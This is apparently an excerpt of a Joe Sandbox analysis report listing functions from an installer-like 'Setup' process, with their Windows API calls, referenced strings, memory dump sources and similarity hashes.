GetLastError.KERNEL32(?,6C5E2E56,?,?,00000100,?,?,00000000), ref: 6C5E9B49

Part of subcall function 6C5E99F8: EtwTraceMessage.NTDLL ref: 6C5E9A13

Strings

V.^l, xrefs: 6C5E9B28

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ByteCharErrorLastMessageMultiTraceWide
String ID: V.^l
API String ID: 1881890961-2647505185
Opcode ID: 1cf022cfa5908ec4e416fcdb007a97c23480fe6b78a7ca975f381830d9a59680
Instruction ID: 07a4a69af00a664a6d42692270eaaf76a6216b1eeb1bbf9a1c18f63082980165
Opcode Fuzzy Hash: 1cf022cfa5908ec4e416fcdb007a97c23480fe6b78a7ca975f381830d9a59680
Instruction Fuzzy Hash: 93113432225284AFDB117E648C84EE77BACEF4D358B510458F461CBA22D372CC40CB50

Function 63953654 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395365B

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Strings

Text, xrefs: 6395366B
Hide, xrefs: 639536CC

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Hide$Text
API String ID: 431132790-3852183071
Opcode ID: d92f08a3eb5542df832a06b2feebb4d268625a95f6a3273a193f9254716dd427
Instruction ID: ab5b9fcf225123eb5e81f246cde79c2885b7073c442530b59a6fa1ed07b59b09
Opcode Fuzzy Hash: d92f08a3eb5542df832a06b2feebb4d268625a95f6a3273a193f9254716dd427
Instruction Fuzzy Hash: 9F211D71901249DFDF10DBB8C944BDEB7B8AF29B28F188059E454AB382D735EA44CF61

Function 639560C9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639560D0

Part of subcall function 6395396A: __EH_prolog3.LIBCMT ref: 63953971

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 63955ECE: __EH_prolog3.LIBCMT ref: 63955ED5

Strings

Uninstall, xrefs: 639560E9
UninstallPatch, xrefs: 6395613C

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Uninstall$UninstallPatch
API String ID: 431132790-3176843842
Opcode ID: 456c12fd6ccfa55af24c29464e1e9a5a759a69527a75d9043313e3c6086ac2a7
Instruction ID: 1e63918d663239d90d70992f2631d58ddba8976af1843133c25f44cc440f772e
Opcode Fuzzy Hash: 456c12fd6ccfa55af24c29464e1e9a5a759a69527a75d9043313e3c6086ac2a7
Instruction Fuzzy Hash: 15212A71900248EFDF01DBA8C944BDEB7B8AF19728F148489F555E7282C735DA54CB21

Function 6394F0C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394F0CF

Part of subcall function 6395F21D: _wcsnlen.LIBCMT ref: 6395F1B2

DeleteFileW.KERNEL32(00000000,00000010,HFI,00000000,00000000,639479E4,00000004,639657E2,?,?,?,?,?,?,00000024,6394F18B), ref: 6394F14B

Strings

HFI, xrefs: 6394F128

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: DeleteFileH_prolog3_wcsnlen
String ID: HFI
API String ID: 1332513528-686494941
Opcode ID: 36cfb3da4773fda5091ecde9ffd033cb265f6dec2626122e9d392888dd905f08
Instruction ID: 8afade3a8d4e320b8c96469dcfb4259e000b84b2ffe5d55826665c183da311b4
Opcode Fuzzy Hash: 36cfb3da4773fda5091ecde9ffd033cb265f6dec2626122e9d392888dd905f08
Instruction Fuzzy Hash: EA11C2713052049FEB18DF78C9446AEB7E4AF2BF2CF040216E462AB2D2C770D9458F91

Function 6396383E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 63963871
_memcpy_s.LIBCMT ref: 639638A7

Part of subcall function 639683CE: __CxxThrowException@8.LIBCMT ref: 639683E2

Strings

GetProcessImageFileNameW, xrefs: 63963845

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Exception@8Throw_memcpy_s_wcsnlen
String ID: GetProcessImageFileNameW
API String ID: 31407445-2183627785
Opcode ID: 16ce1bf133e5998bdae5199f96e5951c79e569a8ed18c95554b6108aeda2db8e
Instruction ID: f381b4656a77603d396736ab66f17570a53bf2ba91394a1b6a62858313123510
Opcode Fuzzy Hash: 16ce1bf133e5998bdae5199f96e5951c79e569a8ed18c95554b6108aeda2db8e
Instruction Fuzzy Hash: C0018432A05204BFEB04DF79CC89C9E77E9DA967A4715852DF4199B250EA30EA41CF90

Function 6395372E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63953735

Strings

false, xrefs: 6395379E
Enable, xrefs: 63953749

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Enable$false
API String ID: 431132790-2988405606
Opcode ID: 367b197eed222f3b18bd7fa01f9eeec8a7296866875fa4fd87a5a7601de170cb
Instruction ID: c97e0cf14d21b9a9ee457eac6b6ad3c36dd2335080e7a2d6c53bdc6d43bc3f5b
Opcode Fuzzy Hash: 367b197eed222f3b18bd7fa01f9eeec8a7296866875fa4fd87a5a7601de170cb
Instruction Fuzzy Hash: 60115EB59002498FDB10DBF8C984BDDB3B86F25B28F140155E120E7281D774DA888F61

Function 6C5E8844 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E88AC

Strings

<NULL>, xrefs: 6C5E8882, 6C5E889D
NULL, xrefs: 6C5E8889

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL
API String ID: 471583391-888386124
Opcode ID: 5c41064352c5f880d073186499b825c08559b2b0f5a11edf5b2b19b60d450a29
Instruction ID: 08ba4742aeedd507eb27845b734466a3290bf55ad3b699054765fd11381d89cd
Opcode Fuzzy Hash: 5c41064352c5f880d073186499b825c08559b2b0f5a11edf5b2b19b60d450a29
Instruction Fuzzy Hash: 9201B17264420AAAEB049E48CC16FA73735EB88704F088916FE109A890D7B1D590C786

Function 6C5D198C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

SqmCleanup.SQMAPI(?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D1E1C

Part of subcall function 6C5D247C: LoadLibraryW.KERNEL32(advapi32,?,6C5D19A1,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D2484
Part of subcall function 6C5D247C: GetProcAddress.KERNEL32(00000000,TraceMessage), ref: 6C5D24A1
Part of subcall function 6C5D247C: GetProcAddress.KERNEL32(00000000,TraceMessageVa), ref: 6C5D24C0
Part of subcall function 6C5D247C: FreeLibrary.KERNEL32(00000000,?,6C5D19A1,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D24D0

Part of subcall function 6C5D2671: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5F0168,00000FA0,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D268E
Part of subcall function 6C5D2671: SetLastError.KERNEL32(00000000,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D26D1

DisableThreadLibraryCalls.KERNEL32(?,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D19CE

Strings

Microsoft\Windows\SoftwareQualityMetricsClient, xrefs: 6C5D19AC

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Library$AddressProc$CallsCleanupCountCriticalDisableErrorFreeInitializeLastLoadSectionSpinThread
String ID: Microsoft\Windows\SoftwareQualityMetricsClient
API String ID: 1374315629-2483579846
Opcode ID: 118a9bc7d47e218a0ebe3893bebb9e13b0acd0ba00a328eaf89222228b0aa70f
Instruction ID: d18072b5c98a1f304aedb48dba081acd8507eb4ab5a67f88c877bffcb047966c
Opcode Fuzzy Hash: 118a9bc7d47e218a0ebe3893bebb9e13b0acd0ba00a328eaf89222228b0aa70f
Instruction Fuzzy Hash: BF01C470119384EBCB056B5DDC05F4B3AB4AB82328F474451E5209AD62C730FD959F9D

Function 6C5E88BE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E8920

Strings

<NULL>, xrefs: 6C5E88FC, 6C5E890B
NULL, xrefs: 6C5E8903

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL
API String ID: 471583391-888386124
Opcode ID: 2fc86818827fca70fcdd3db17bb12d6b965109cfeb65502c82452622c5700333
Instruction ID: 071066e8dd20a700b68910b7241e726623097481db07e2bed007466dafdec568
Opcode Fuzzy Hash: 2fc86818827fca70fcdd3db17bb12d6b965109cfeb65502c82452622c5700333
Instruction Fuzzy Hash: 7301D17264420EAEEB059E0CCC01FA73B7AEB8D704F54C813FE10AA990D7B0D9918783

Function 6C5E77B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E781A

Strings

<NULL>, xrefs: 6C5E77F6, 6C5E780B
NULL, xrefs: 6C5E77FD

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL
API String ID: 471583391-888386124
Opcode ID: fd3e8fd0d49b55e332a8a8cb77a2ce9941999ff142ee603f44f4032693390c37
Instruction ID: fb0679f479ccd1ed3b2e46d7175b68f9e4396bd74bb05a38dd008741cb08fc09
Opcode Fuzzy Hash: fd3e8fd0d49b55e332a8a8cb77a2ce9941999ff142ee603f44f4032693390c37
Instruction Fuzzy Hash: B401F97264020AABEB099F09CC56FA73B7AFB8D744F148415FA108F892D7B0D991C781

Function 6C5E774A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E77A6

Strings

<NULL>, xrefs: 6C5E7788, 6C5E7797
NULL, xrefs: 6C5E778F

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL
API String ID: 471583391-888386124
Opcode ID: fb04a0b677af3dd55890dc9ba656f5e52e44d0395cfed14260f9bbc1d98cf188
Instruction ID: 7171a4ddf7295bd62ca16d99e9b4e027d864d30d3a90835a5bd33a6b94e68702
Opcode Fuzzy Hash: fb04a0b677af3dd55890dc9ba656f5e52e44d0395cfed14260f9bbc1d98cf188
Instruction Fuzzy Hash: 4201223664024AEBEB019E4ACC05FA33B76EB8D794F188491FA108E996D7B0D9D1C7C4

Function 63950E35 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40windowCOMMON

Download Yara Rule

APIs

Part of subcall function 63960324: SendMessageW.USER32(?,00000437,00000000,?), ref: 63960344

_memset.LIBCMT ref: 63950E62
SendMessageW.USER32(?,00000444,00000001,00000074), ref: 63950E92

Strings

t, xrefs: 63950E7B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$_memset
String ID: t
API String ID: 1515505866-2238339752
Opcode ID: 80724360a2c089147d1dac81c4bf1d0c5e4731759eb9990e9ad982a80f5d6b55
Instruction ID: 676c9ff4295b9f5ff2a7db27c0a2be2a53b93d6192448c686e812cfafefc0e0b
Opcode Fuzzy Hash: 80724360a2c089147d1dac81c4bf1d0c5e4731759eb9990e9ad982a80f5d6b55
Instruction Fuzzy Hash: 8601287190421CAFEF10DFA8C842ACE7BF4AF0A608F600129F915A7281D775EA148F91

Function 6394CAC2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394CAC9

Part of subcall function 6395F143: __EH_prolog3.LIBCMT ref: 6395F14A

Part of subcall function 6395F0E8: __EH_prolog3.LIBCMT ref: 6395F0EF

Part of subcall function 6395F092: __EH_prolog3.LIBCMT ref: 6395F099

Strings

Invalid XML, xrefs: 6394CAE3
.Parse error:, xrefs: 6394CAF4

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: .Parse error:$Invalid XML
API String ID: 431132790-1700598720
Opcode ID: 56306809ed2309e6624e375ac65f918c5f2fca9d59fc270e90f3ca9a7c9afcac
Instruction ID: 76bab32cfb596b77807e4037def8d43842349ca9f73dff8780f0e0ec88fb4390
Opcode Fuzzy Hash: 56306809ed2309e6624e375ac65f918c5f2fca9d59fc270e90f3ca9a7c9afcac
Instruction Fuzzy Hash: 42018F32500209AFDB10D7F8C941BEE77B4AF21B2CF144204E124A72C2D774DA998FA1

Function 6C5DBAE2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,80000040,00000000,00000000,6C5DBA57,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5DBAFB
GetLastError.KERNEL32(?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5E229A

Strings

j, xrefs: 6C5E2283

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpin
String ID: j
API String ID: 439134102-2137352139
Opcode ID: eefaa42ded2299b58acbe3091b065046be89323a89224316f5113d87d2f59620
Instruction ID: 80c3de8e3b80c95025ce1a5014d0b1a4ba8754ae672b7416ea3f79befaded1b3
Opcode Fuzzy Hash: eefaa42ded2299b58acbe3091b065046be89323a89224316f5113d87d2f59620
Instruction Fuzzy Hash: AAF0F6313413009FD764AF2A8C04F463AFAABC9355B16082AE156D6D55C730E806DF18

Function 63961169 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63961170

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 639611B1

Strings

C:\, xrefs: 6396117D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$DirectorySystem
String ID: C:\
API String ID: 105093994-3404278061
Opcode ID: 2e663c20c0bc6a00c3f74c90c86abdaf30ea9bebc06eacebe6a89726e1939120
Instruction ID: 0c8a23ac5230027d10d6c96c8af80def9104277f1ad36478fda18f1191130fd5
Opcode Fuzzy Hash: 2e663c20c0bc6a00c3f74c90c86abdaf30ea9bebc06eacebe6a89726e1939120
Instruction Fuzzy Hash: BC014BB19112198BDF04EBA8CC48AAEB7B5FF26B28F044514F521AB2D0CB30DA45CF90

Function 63959A1E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63959A25

Strings

IDS_DOWNLOAD_PROGRESS_BAR_HEADER, xrefs: 63959A39
IDS_FILE_VERIFICATION_PROGRESS_BAR_HEADER, xrefs: 63959A32

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: IDS_DOWNLOAD_PROGRESS_BAR_HEADER$IDS_FILE_VERIFICATION_PROGRESS_BAR_HEADER
API String ID: 431132790-2780475424
Opcode ID: f0ca83514a3d26f96997e03c2eb906802621df0450f04e70ff76c9cec760f5bf
Instruction ID: 1742af8ce5bb4f4f13e8ccfc90cf88c8bb2785abbb9a127ccd4ab7ce10392546
Opcode Fuzzy Hash: f0ca83514a3d26f96997e03c2eb906802621df0450f04e70ff76c9cec760f5bf
Instruction Fuzzy Hash: F7F05EB19003058FEF10DBB8C888BAD73B0AF56B18F584988E1509B295D774D5058F50

Function 6394C224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394C22B

Strings

An internal or user error was encountered., xrefs: 6394C254, 6394C269
A StopBlock was hit or a System Requirement was not met., xrefs: 6394C25B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: A StopBlock was hit or a System Requirement was not met.$An internal or user error was encountered.
API String ID: 431132790-2578323181
Opcode ID: 881ac014976570648de6632287368deda37d017ea360e93518a8c21a787aece1
Instruction ID: aef7a75de34f6f0e29c5765171f2d903d4681dd2edc63d791612da0c4f31b698
Opcode Fuzzy Hash: 881ac014976570648de6632287368deda37d017ea360e93518a8c21a787aece1
Instruction Fuzzy Hash: 9CE0EDB1606308ABEB00AAF888813AE3274AB62F08F040005E0089F281C3B4CA058FC9

Function 63951F81 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63951F88

Part of subcall function 63951EB5: __EH_prolog3.LIBCMT ref: 63951EBC

Strings

Height, xrefs: 63951FC4
Width, xrefs: 63951FB5

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Height$Width
API String ID: 431132790-1965321196
Opcode ID: 080fb4d9979be40f4c05e43c15cf17ea6e7740ffb2b2887b0f93d6076a93bf42
Instruction ID: 91c8deed1a7f3181e2b17f899a94eb55f08ae40aee5b5ef08069ac3c8146c3d8
Opcode Fuzzy Hash: 080fb4d9979be40f4c05e43c15cf17ea6e7740ffb2b2887b0f93d6076a93bf42
Instruction Fuzzy Hash: 57F03970F507488BCA349F79801520AF6E2AFE2E18F11C92EE0568F385DF74D9968F81

Function 6395A051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

GetPropW.USER32(?,RotatingIconDisplayTHIS), ref: 6395A05F

Part of subcall function 63959CD5: GetTickCount.KERNEL32 ref: 63959CDC

SendMessageW.USER32(00000000,00000172,00000001,00000000), ref: 6395A07E

Strings

RotatingIconDisplayTHIS, xrefs: 6395A057

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
